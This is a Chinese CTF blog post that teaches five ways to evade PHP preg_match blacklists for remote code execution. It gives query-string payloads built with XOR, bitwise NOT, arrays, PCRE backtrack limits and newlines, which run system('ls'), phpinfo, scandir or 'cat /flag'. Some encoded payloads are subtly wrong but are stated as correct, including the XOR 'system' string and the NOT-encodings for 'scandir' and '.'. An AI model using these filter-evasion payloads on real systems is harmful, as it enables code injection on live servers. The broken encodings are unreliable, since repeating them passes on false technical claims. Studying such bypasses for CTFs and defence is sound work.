CTF 中 preg_match 绕过技术详解 作者: ynnddddd 时间: 2024-10-31 分类: 网络安全,RCE ctf中 preg_match 绕过技术: 方法1:异或 方法2:取反 方法3:数组 方法4: PCRE 方法5∶换行符 ### CTF 中 preg_match 绕过技术详解 在 CTF 的 Web 题型中,`preg_match` 常用于过滤危险函数(如 `system`、`phpinfo`),但通过特定技术可绕过其正则匹配。以下是五种常见绕过方法及其原理、应用场景和实现方式。 --- #### **方法1:异或绕过** - **原理**:利用 PHP 中字符串的异或运算特性(`^`),将目标函数名拆解为两个无敏感字符的字符串,异或后还原原函数。 - **实现**: ```php $a = 'abcdef' ^ '123456'; // 生成异或后的字符串 $a(); // 动态调用目标函数 ``` - **场景**:当正则仅检测完整函数名时,异或构造的字符可绕过检测。 - **示例**:`?code=("!%10%08%10%0b%07%05"^"%7b%7b%7b%7b%7b%7b")();` 等价于 `system("ls")`。 - **注意**:需确保异或后的字符不触发黑名单。 --- #### **方法2:取反绕过** - **原理**:PHP 的按位取反运算符(`~`)可将字符串逐字符取反,生成不可打印字符,避开正则的关键词匹配。 - **实现**: 1. 生成取反后的 URL 编码: ```php $c = 'phpinfo'; echo urlencode(~$c); // 输出 %8F%97%8F%96%91%99%90 ``` 2. 构造 Payload: ```php ?code=(~%8F%97%8F%96%91%99%90)(); ``` - **场景**:目标代码未过滤 `~` 运算符,且允许动态函数调用(如 `$func();`)。 - **执行流程**: - URL 解码:`%8F%97...` 还原为二进制字符。 - 取反操作:`~%8F%97...` 得到原字符串 `phpinfo`。 - 函数调用:`phpinfo()` 被执行。 - **优势**:生成的 Payload 无敏感关键词,完美绕过字符串检测。 - **限制**:依赖目标自动 URL 解码,且需支持 `(~'...')()` 语法。 --- #### **方法3:数组绕过** - **原理**:`preg_match` 处理数组时返回 `false`,可绕过检测。 - **实现**:传入参数为数组形式: ```php ?code[]=phpinfo(); // 参数以数组形式传递 ``` - **场景**:当代码使用 `$_GET['code']` 直接拼接进危险函数(如 `eval`),且未强制参数为字符串。 - **示例**: ```php if (preg_match('/system|phpinfo/i', $_GET['code'])) die(); eval($_GET['code']); // 传入数组时 $_GET['code'] = Array,eval 报错但可能泄露信息 ``` - **注意**:需目标代码未对参数类型做严格检查。 --- #### **方法4:PCRE 限制绕过** - **原理**:利用 PHP 的 PCRE 引擎限制(如回溯次数限制),使正则匹配失败。 - **实现**:构造超长字符串或特定模式触发回溯限制: ```php ?code=phpinfo();//aaa...(数万个字符) ``` - **场景**:正则表达式存在贪婪匹配或复杂回溯逻辑。 - **PCRE 配置**:默认回溯限制为 `1000000`(可通过 `php.ini` 调整)。 - **示例**:`/(<.*>)*!/` 匹配 `<<<...` 可能触发回溯限制。 --- #### **方法5:换行符绕过** - **原理**:正则表达式若使用 `^`/`$` 匹配开头结尾,换行符可绕过检测。 - **实现**:在参数中插入换行符(`%0a`): ```php ?code=phpinfo%0A(); // %0A 为换行符的 URL 编码 ``` - **场景**:正则规则如 `/^phpinfo$/`,实际输入为 `phpinfo\n`。 - **示例**:若代码检测 `$_GET['cmd']` 是否为 `cat /flag`,可传入 `cat /flag%0a`。 --- ### **重点技术:取反绕过详解** #### 1. 生成取反 Payload 通过 PHP 的 `~` 运算符和 `urlencode` 生成不可读字符串: ```php echo urlencode(~'system'); // 输出 %8C%86%8C%8B%9A%92 ``` 生成的 Payload 形如: `?code=(~%8C%86%8C%8B%9A%92)("ls");` 等价于 `system("ls");`。 #### 2. 执行条件 - **动态函数调用**:PHP 需支持 `$func()` 语法,如 `(~'...')()`。 - **URL 解码**:参数需自动解码(PHP 的 `$_GET`/`$_POST` 默认支持)。 - **无过滤**:目标代码未过滤 `~`、`(`、`)` 等关键符号。 #### 3. 复杂场景示例 若需调用 `scandir('.')`,生成方式如下: ```php echo urlencode(~'scandir'); // %8C%9C%9E%8B%9A%8D echo urlencode(~'.'); // %A0 Payload: ?code=(~%8C%9C%9E%8B%9A%8D)(~%A0); ``` ```php ``` --- ### **总结** - **取反绕过**:适用于无符号过滤的场景,Payload 隐蔽性高。 - **异或/数组**:适合简单检测或参数类型松散的环境。 - **PCRE/换行符**:针对特定正则规则设计,需结合场景测试。 - **核心思路**:利用 PHP 语法特性和正则检测逻辑的差异,构造非常规 Payload。 [深入浅出LD_PRELOAD & putenv()][1] [如何绕过 disable_functions 和 open_basedir][2] [基础RCE绕过大全][3] [1]: https://www.anquanke.com/post/id/175403 [2]: https://www.tarlogic.com/blog/bypass-disable_functions-open_basedir/ [3]: https://www.cnblogs.com/ctfer001/p/18167821 标签: none